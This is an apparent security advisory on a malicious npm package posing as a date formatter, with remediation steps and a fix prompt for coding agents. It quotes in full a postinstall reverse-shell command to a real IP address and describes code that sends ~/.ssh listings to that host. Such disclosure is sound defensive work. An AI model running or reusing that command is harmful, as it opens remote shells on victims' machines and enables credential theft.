# MAL-2026-11547: Malicious code in simple-date-formatter-util-9 (npm)


- **Type:** Malicious package
- **Package:** `simple-date-formatter-util-9` (npm)
- **Published:** 4 Aug 2026

## What is MAL-2026-11547?

MAL-2026-11547 is a malicious package in simple-date-formatter-util-9, published on 4 Aug 2026. 

### Official description

package.json declares a postinstall lifecycle hook that executes `bash -i >& /dev/tcp/124.221.154.135/4444 0>&1 &`, opening an interactive reverse shell from the installer's host to 124.221.154.135 on TCP/4444 at `npm install` time. The tarball also ships postinstall.js, which enumerates the installer's ~/.ssh directory with fs.readdirSync and POSTs the results together with os.userInfo() to https://124.221.154.135/post. The package name and 'date formatter' framing are a cover story; the shipped code is an install-time backdoor plus credential-exfiltration payload targeting the installer.

## What should I do about MAL-2026-11547?

Remove the package from your dependencies and lockfiles, then rotate any secrets on machines where it was installed.

## Fix prompt for AI coding agents

```text
MAL-2026-11547 is a malicious package: simple-date-formatter-util-9 (npm). Every version was published to cause harm.

Task:
1. Search this repository's dependency manifests and lockfiles for the package, including transitive dependencies.
2. If it is present, remove it, regenerate the lockfile with the project's package manager, and replace whatever it was used for.
3. List any CI runners, developer machines or containers that installed it, so their secrets can be rotated.
4. If the package is not used anywhere, say so and change nothing.

Reference: https://insights.sbomify.com/MAL-2026-11547/ (Markdown: https://insights.sbomify.com/MAL-2026-11547/index.md)
```

## Sources

- OSV: https://osv.dev/vulnerability/MAL-2026-11547

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From sbomify Insights: https://insights.sbomify.com/MAL-2026-11547/
Summaries are generated and may contain mistakes; the official description above is the record.